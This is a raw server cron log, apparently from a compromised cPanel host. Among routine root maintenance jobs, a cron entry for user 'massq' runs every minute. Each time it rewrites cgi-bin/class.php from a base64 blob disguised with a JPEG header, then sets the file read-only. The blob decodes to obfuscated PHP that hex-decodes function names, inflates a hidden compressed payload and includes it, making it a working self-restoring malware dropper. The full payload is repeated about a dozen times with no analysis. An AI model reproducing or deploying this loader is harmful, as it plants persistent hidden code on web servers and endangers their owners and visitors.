Nov 11 16:09:01 server CROND[361]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:10:01 server CROND[1211]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 16:10:01 server CROND[1213]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:10:01 server CROND[1214]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 16:10:01 server CROND[1212]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 16:11:01 server CROND[2156]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:12:01 server CROND[2526]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 16:12:01 server CROND[2527]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:13:01 server CROND[3455]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:14:01 server CROND[4295]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:15:01 server CROND[5111]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:15:01 server CROND[5113]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 11 16:15:01 server CROND[5112]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 16:15:01 server CROND[5116]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 16:16:01 server CROND[5998]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:17:01 server CROND[6819]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:18:01 server CROND[7728]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:19:01 server CROND[8620]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:20:01 server CROND[9570]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 16:20:01 server CROND[9569]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 16:20:01 server CROND[9568]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 16:20:01 server CROND[9571]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:20:01 server CROND[9573]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 16:21:01 server CROND[10458]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
